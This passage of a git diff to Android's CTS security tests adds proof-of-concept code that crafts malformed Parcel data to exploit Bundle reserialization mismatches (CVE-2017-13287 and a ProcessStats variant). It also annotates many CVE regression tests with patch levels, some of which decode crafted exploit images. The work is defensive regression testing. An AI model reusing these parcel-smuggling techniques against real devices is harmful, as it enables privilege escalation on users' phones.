+                parcel.writeInt(3);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("com.android.internal.app.procstats.ProcessStats");
+
+                parcel.writeInt(PROCSTATS_MAGIC);
+                parcel.writeInt(PROCSTATS_PARCEL_VERSION);
+                parcel.writeInt(PROCSTATS_STATE_COUNT);
+                parcel.writeInt(PROCSTATS_ADJ_COUNT);
+                parcel.writeInt(PROCSTATS_PSS_COUNT);
+                parcel.writeInt(PROCSTATS_SYS_MEM_USAGE_COUNT);
+                parcel.writeInt(PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE);
+
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeLong(0);
+                parcel.writeString(null);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(1);
+                parcel.writeInt(1);
+                parcel.writeInt(0);
+
+                for (int i = 0; i < PROCSTATS_ADJ_COUNT; i++) {
+                    parcel.writeInt(0);
+                }
+
+                parcel.writeInt(0);
+                parcel.writeInt(1);
+                parcel.writeInt(0);
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(1);
+                parcel.writeInt(VAL_LONGARRAY);
+                parcel.writeString("AAAAA");
+                parcel.writeInt(0);
+
+                parcel.writeInt(VAL_INTEGER);
+                parcel.writeInt(0);
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/71714464
+     */
+    @SecurityTest(minPatchLevel = "2018-04")
     public void test_android_CVE_2017_13287() throws Exception {
+        Ambiguator ambiguator = new Ambiguator() {
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+                String key2;
+                int key2Hash;
+                do {
+                    key2 = makeStringToInject(postReSerialize, random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 2);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_NULL);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    private void testAmbiguator(Ambiguator ambiguator) {
         Bundle bundle;
-        {
-            Bundle verifyMe = new Bundle();
-            verifyMe.putString("cmd", "something_safe");
-            Bundle useMe = new Bundle();
-            useMe.putString("cmd", "replaced_thing");
-            Ambiguator a = new Ambiguator() {
-                @Override
-                public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
-                    Random random = new Random(1234);
-                    int minHash = 0;
-                    for (String s : preReSerialize.keySet()) {
-                        minHash = Math.min(minHash, s.hashCode());
-                    }
-                    for (String s : postReSerialize.keySet()) {
-                        minHash = Math.min(minHash, s.hashCode());
-                    }
+        Bundle verifyMe = new Bundle();
+        verifyMe.putString("cmd", "something_safe");
+        Bundle useMe = new Bundle();
+        useMe.putString("cmd", "replaced_thing");
 
-                    String key;
-                    int keyHash;
+        try {
+            bundle = ambiguator.make(verifyMe, useMe);
 
-                    do {
-                        key = randomString(random);
-                        keyHash = key.hashCode();
-                    } while (keyHash >= minHash);
+            bundle = reparcel(bundle);
+            String value1 = bundle.getString("cmd");
+            bundle = reparcel(bundle);
+            String value2 = bundle.getString("cmd");
 
-                    padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
-                    padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
-
-                    String key2;
-                    int key2Hash;
-                    do {
-                        key2 = makeStringToInject(postReSerialize, random);
-                        key2Hash = key2.hashCode();
-                    } while (key2Hash >= minHash || key2Hash <= keyHash);
-
-
-                    Parcel parcel = Parcel.obtain();
-
-                    parcel.writeInt(preReSerialize.size() + 2);
-                    parcel.writeString(key);
-
-                    parcel.writeInt(VAL_PARCELABLE);
-                    parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
-
-                    parcel.writeInt(0);
-                    parcel.writeInt(0);
-
-                    parcel.writeString(key2);
-                    parcel.writeInt(VAL_NULL);
-
-                    writeBundleSkippingHeaders(parcel, preReSerialize);
-
-                    parcel.setDataPosition(0);
-                    Bundle bundle = new Bundle();
-                    parcelledDataField.set(bundle, parcel);
-                    return bundle;
-                }
-
-                @Override
-                protected String makeStringToInject(Bundle stuffToInject, Random random) {
-                    Parcel p = Parcel.obtain();
-                    p.writeInt(0);
-                    p.writeInt(0);
-
-                    Parcel p2 = Parcel.obtain();
-                    stuffToInject.writeToParcel(p2, 0);
-                    int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
-                    for (int i = 0; i < p2Len / 4 + 4; i++) {
-                        int paddingVal;
-                        if (i > 3) {
-                            paddingVal = i;
-                        } else {
-                            paddingVal = random.nextInt();
-                        }
-                        p.writeInt(paddingVal);
-
-                    }
-
-                    p.appendFrom(p2, BUNDLE_SKIP, p2Len);
-                    p2.recycle();
-
-                    while (p.dataPosition() % 8 != 0) p.writeInt(0);
-                    for (int i = 0; i < 2; i++) {
-                        p.writeInt(0);
-                    }
-
-                    int len = p.dataPosition() / 2 - 1;
-                    p.writeInt(0); p.writeInt(0);
-                    p.setDataPosition(0);
-                    p.writeInt(len);
-                    p.writeInt(len);
-                    p.setDataPosition(0);
-                    String result = p.readString();
-                    p.recycle();
-                    return result;
-                }
-            };
-            bundle = a.make(verifyMe, useMe);
-        }
-
-        bundle = reparcel(bundle);
-        String value1 = bundle.getString("cmd");
-        bundle = reparcel(bundle);
-        String value2 = bundle.getString("cmd");
-
-        if (!value1.equals(value2)) {
-            fail("String " + value1 + "!=" + value2 + " after reparceling.");
+            if (!value1.equals(value2)) {
+                fail("String " + value1 + "!=" + value2 + " after reparceling.");
+            }
+        } catch (Exception e) {
         }
     }
 
@@ -159,11 +483,27 @@
 
     static abstract class Ambiguator {
 
-        protected static final int VAL_PARCELABLE = 4;
         protected static final int VAL_NULL = -1;
+        protected static final int VAL_INTEGER = 1;
+        protected static final int VAL_BUNDLE = 3;
+        protected static final int VAL_PARCELABLE = 4;
+        protected static final int VAL_OBJECTARRAY = 17;
+        protected static final int VAL_INTARRAY = 18;
+        protected static final int VAL_LONGARRAY = 19;
         protected static final int BUNDLE_SKIP = 12;
 
-        protected final Field parcelledDataField;
+        protected static final int PROCSTATS_MAGIC = 0x50535454;
+        protected static final int PROCSTATS_PARCEL_VERSION = 21;
+        protected static final int PROCSTATS_STATE_COUNT = 14;
+        protected static final int PROCSTATS_ADJ_COUNT = 8;
+        protected static final int PROCSTATS_PSS_COUNT = 7;
+        protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
+        protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
+
+        protected static final int BUNDLE_MAGIC = 0x4C444E42;
+        protected static final int INNER_BUNDLE_PADDING = 1;
+
+        protected Field parcelledDataField;
 
         public Ambiguator() throws Exception {
             parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
@@ -172,7 +512,44 @@
 
         abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
 
-        abstract protected String makeStringToInject(Bundle stuffToInject, Random random);
+        protected String makeStringToInject(Bundle stuffToInject, Random random) {
+            Parcel p = Parcel.obtain();
+            p.writeInt(0);
+            p.writeInt(0);
+
+            Parcel p2 = Parcel.obtain();
+            stuffToInject.writeToParcel(p2, 0);
+            int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+            for (int i = 0; i < p2Len / 4 + 4; i++) {
+                int paddingVal;
+                if (i > 3) {
+                    paddingVal = i;
+                } else {
+                    paddingVal = random.nextInt();
+                }
+                p.writeInt(paddingVal);
+
+            }
+
+            p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+            p2.recycle();
+
+            while (p.dataPosition() % 8 != 0) p.writeInt(0);
+            for (int i = 0; i < 2; i++) {
+                p.writeInt(0);
+            }
+
+            int len = p.dataPosition() / 2 - 1;
+            p.writeInt(0); p.writeInt(0);
+            p.setDataPosition(0);
+            p.writeInt(len);
+            p.writeInt(len);
+            p.setDataPosition(0);
+            String result = p.readString();
+            p.recycle();
+            return result;
+        }
 
         protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
             Parcel p2 = Parcel.obtain();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
new file mode 100644
index 0000000..27b6021
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.res.AssetManager;
+import android.content.res.XmlResourceParser;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+@SecurityTest
+public class AssetManagerTest extends CtsAndroidTestCase {
+
+    // b/144028297
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testCloseThenFinalize() throws Exception {
+        final XmlResourceParser[] parser = {null};
+        final AssetManager[] assetManager = {AssetManager.class.newInstance()};
+        parser[0] = assetManager[0].openXmlResourceParser(
+                "res/xml/audio_assets.xml");
+        assetManager[0].close();
+        assetManager[0] = null;
+
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+
+        parser[0] = null;
+
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 3495191..56cff46 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -90,6 +90,7 @@
     }
 
     // b/28173666
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -103,6 +104,7 @@
     // b/32438594
     // b/32624850
     // b/32635664
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -114,6 +116,7 @@
     }
 
     // b/30204301
+    @SecurityTest(minPatchLevel = "2016-10")
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -125,6 +128,7 @@
     }
 
     // b/37536407
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
         testAllEffects("equalizer get parameter name",
                 new TestEffect() {
@@ -351,6 +355,7 @@
     private static final int VISUALIZER_PARAM_CAPTURE_SIZE = 0;
 
     // b/31781965
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
diff --git a/tests/tests/security/src/android/security/cts/BannedFilesTest.java b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
index 8847a84..46b5ba9 100644
--- a/tests/tests/security/src/android/security/cts/BannedFilesTest.java
+++ b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
@@ -148,6 +148,24 @@
         assertNotSetugid("/vendor/bin/tcpdump-arm");
     }
 
+    /**
+     * enforce that the xaac codec has not been included on the device
+     */
+    public void testNoXaac() {
+        String libraries[] = new String[] {
+            "libstagefright_soft_xaacdec.so", "libstagefright_soft_c2xaacdec.so"
+        };
+        String directories[] = new String[] {
+            "/system/lib", "/system/lib64", "/vendor/lib", "/vendor/lib64"
+        };
+        for (String f : libraries) {
+            for (String d : directories) {
+                String fullPath = d + "/" + f;
+                assertFalse(fullPath, new File(fullPath).exists());
+            }
+        }
+    }
+
     private static void assertNotSetugid(String file) {
         FileUtils.FileStatus fs = new FileUtils.FileStatus();
         if (!FileUtils.getFileStatus(file, fs, false)) {
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index f3c2302..bcfb1df 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -22,6 +22,7 @@
 
 import java.io.InputStream;
 
+import android.platform.test.annotations.SecurityTest;
 import android.security.cts.R;
 
 public class BigRleTest extends AndroidTestCase {
@@ -31,6 +32,7 @@
      * This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
      * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
+    @SecurityTest(minPatchLevel = "2017-04")
     public void test_android_bug_33251605() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 1fa0b65..ce28a7a 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -33,6 +33,7 @@
      * to heap corruption by trying to open a crafted PNG image with incorrect
      * npTc chunk.
      */
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testNinePatchHeapOverflow() throws Exception {
         InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.cve_2015_1532));
@@ -40,13 +41,14 @@
 
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testPocCVE_2017_0691() throws Exception {
         InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.cve_2017_0691));
         BitmapFactory.decodeStream(exploitImage);
     }
 
+    @SecurityTest(minPatchLevel = "2017-12")
     public void test_b65290323() throws Exception {
         InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.b65290323));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index 2272dc0..f463855 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -58,6 +58,7 @@
     /**
      * Verifies that decoding a corrupt ICO does crash.
      */
+    @SecurityTest(minPatchLevel = "2017-09")
     public void test_android_bug_38116746() {
         FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
         try {
@@ -73,6 +74,7 @@
     /**
      * Verifies that decoding a corrupt BMP does crash.
      */
+    @SecurityTest(minPatchLevel = "2017-08")
     public void test_android_bug_37627194() {
         FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
         try {
@@ -81,4 +83,11 @@
             fail("OOM attempting to decode BMP");
         }
     }
+
+    @SecurityTest
+    public void test_android_bug_156261521() {
+        // Previously decoding this would crash.
+        FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
+        BitmapFactory.decodeFileDescriptor(exploitImage);
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 910e3e1..e7a326fe 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -34,6 +34,7 @@
      * OOME is more appropriate.
      */
     @Test(expected=OutOfMemoryError.class)
+    @SecurityTest(minPatchLevel = "2018-01")
     public void test_33846679() {
         // This size is based on the max size possible in a GIF file,
         // which might be passed to createBitmap from a Java decoder.
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
new file mode 100644
index 0000000..6a4990f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import org.junit.Test;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+@SecurityTest
+public class BluetoothIntentsTest extends AndroidTestCase {
+  /**
+   * b/35258579
+   */
+  @SecurityTest
+  public void testAcceptIntent() {
+    genericIntentTest("ACCEPT");
+  }
+
+  /**
+   * b/35258579
+   */
+  @SecurityTest
+  public void testDeclineIntent() {
+      genericIntentTest("DECLINE");
+  }
+
+  private static final String prefix = "android.btopp.intent.action.";
+  private void genericIntentTest(String action) throws SecurityException {
+    try {
+      Intent should_be_protected_broadcast = new Intent();
+      should_be_protected_broadcast.setComponent(
+          new ComponentName("com.android.bluetooth",
+            "com.android.bluetooth.opp.BluetoothOppReceiver"));
+      should_be_protected_broadcast.setAction(prefix + action);
+      mContext.sendBroadcast(should_be_protected_broadcast);
+    }
+    catch (SecurityException e) {
+      return;
+    }
+
+    throw new SecurityException("An " + prefix + action +
+        " intent should not be broadcastable except by the system (declare " +
+        " as protected-broadcast in manifest)");
+  }
+}
diff --git a/tests/tests/security/src/android/security/cts/BrowserTest.java b/tests/tests/security/src/android/security/cts/BrowserTest.java
index de8763e..becbc5e 100644
--- a/tests/tests/security/src/android/security/cts/BrowserTest.java
+++ b/tests/tests/security/src/android/security/cts/BrowserTest.java
@@ -138,6 +138,7 @@
     /**
      * See Bug 6212665 for detailed information about this issue.
      */
+    @SecurityTest(minPatchLevel = "2012-01")
     public void testBrowserPrivateDataAccess() throws Throwable {
         // Yucky workaround to let us launch file:// Uris
         StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().build());
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 0e92310..3314166 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -32,7 +32,7 @@
      * Prior to fixing bug 34778578, decoding this file would crash. Instead, it should fail to
      * decode.
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void test_android_bug_34778578() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
@@ -45,7 +45,7 @@
      * Prior to fixing bug 67381469, decoding this file would crash. Instead, it should fail to
      * decode.
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-12")
     public void test_android_bug_67381469() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index ae55494..d1baf37 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -48,6 +48,7 @@
     private static final int intSize = 4;
 
     //Testing security bug: 32436341
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamCenterFreq() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -57,6 +58,7 @@
     }
 
     //Testing security bug: 32588352
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -65,6 +67,7 @@
     }
 
     //Testing security bug: 32438598
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -73,6 +76,7 @@
     }
 
     //Testing security bug: 32584034
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -81,6 +85,7 @@
     }
 
     //Testing security bug: 32247948
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamFreqRange() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -90,6 +95,7 @@
     }
 
     //Testing security bug: 32588756
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamFreqRange_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -99,6 +105,7 @@
     }
 
     //Testing security bug: 32448258
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamPresetName() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -107,6 +114,7 @@
     }
 
     //Testing security bug: 32588016
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamPresetName_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -147,6 +155,7 @@
     }
 
     //testing security bug: 32095626
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_setParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -162,6 +171,7 @@
     }
 
     //testing security bug: 32585400
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_setParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -177,6 +187,7 @@
     }
 
     //testing security bug: 32705438
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -186,6 +197,7 @@
     }
 
     //testing security bug: 32703959
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -195,6 +207,7 @@
     }
 
     //testing security bug: 37563371 (short media)
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testEqualizer_setParamProperties_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -204,6 +217,7 @@
     }
 
     //testing security bug: 37563371 (long media)
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testEqualizer_setParamProperties_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -213,7 +227,7 @@
     }
 
     //Testing security bug: 63662938
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testDownmix_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -229,7 +243,7 @@
     private static final int DOWNMIX_PARAM_TYPE = 0;
 
     //Testing security bug: 63526567
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testEnvironmentalReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -249,7 +263,7 @@
     }
 
     //Testing security bug: 67647856
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testPresetReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index ed6cf5c..07b39de 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -22,7 +22,6 @@
 import android.test.AndroidTestCase;
 import junit.framework.TestCase;
 
-import android.content.pm.PackageManager;
 import android.content.Context;
 import android.util.Log;
 import java.io.BufferedReader;
@@ -47,13 +46,7 @@
 
     private boolean isRequired() {
         // Optional before MIN_API_LEVEL
-        return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL && !isTelevision();
-    }
-
-    private boolean isTelevision() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+        return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL;
     }
 
     public void testEncryption() throws Exception {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 1759521..2be37bb 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -27,7 +27,6 @@
 import android.security.cts.IsolatedService;
 import android.test.AndroidTestCase;
 import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
 import com.android.internal.util.ArrayUtils;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -75,9 +74,7 @@
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
-
     @SecurityTest
-    @CddTest(requirement="9.2/C-0-1")
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
         for (String serviceName : cachedServices) {
@@ -86,9 +83,7 @@
         }
     }
 
-
     @SecurityTest
-    @CddTest(requirement="9.2/C-0-1")
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
             IBinder service = mService.getSystemService(serviceName);
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
new file mode 100644
index 0000000..af62105
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -0,0 +1,86 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import android.media.MediaRecorder;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.io.File;
+
+@SecurityTest
+public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+
+   /**
+    *  b/27855172
+    */
+    @SecurityTest(minPatchLevel = "2016-06")
+    public void test_cve_2016_2499() throws Exception {
+        MediaRecorder mediaRecorder = null;
+        long end = System.currentTimeMillis() + 600_000; // 10 minutes from now
+        String TAG = "MediaRecorderInfoLeakTest";
+        boolean recorderPrepare = false;
+        int retryCount = 2;
+
+        try {
+            while(System.currentTimeMillis() < end) {
+                recorderPrepare = false;
+                for (int i = 0; i < retryCount; i++) {
+                    try {
+                        mediaRecorder = new MediaRecorder();
+                        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
+                        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+                        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+                        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+                        mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H263);
+                        mediaRecorder.setVideoFrameRate(30);
+                        mediaRecorder.setVideoSize(352, 288);
+                        mediaRecorder.setOutputFile(
+                                new File(getContext().getFilesDir(), "record.output").getPath());
+                        mediaRecorder.prepare();
+                        recorderPrepare = true;
+                        break;
+                    } catch (Exception ex) {
+                        Log.w(TAG, "Media Recorder Prepare Exception" + ex.getMessage());
+                        Thread.sleep(200);
+                    } finally {
+                        if (recorderPrepare == false && mediaRecorder != null){
+                            mediaRecorder.release();
+                        }
+                    }
+                }
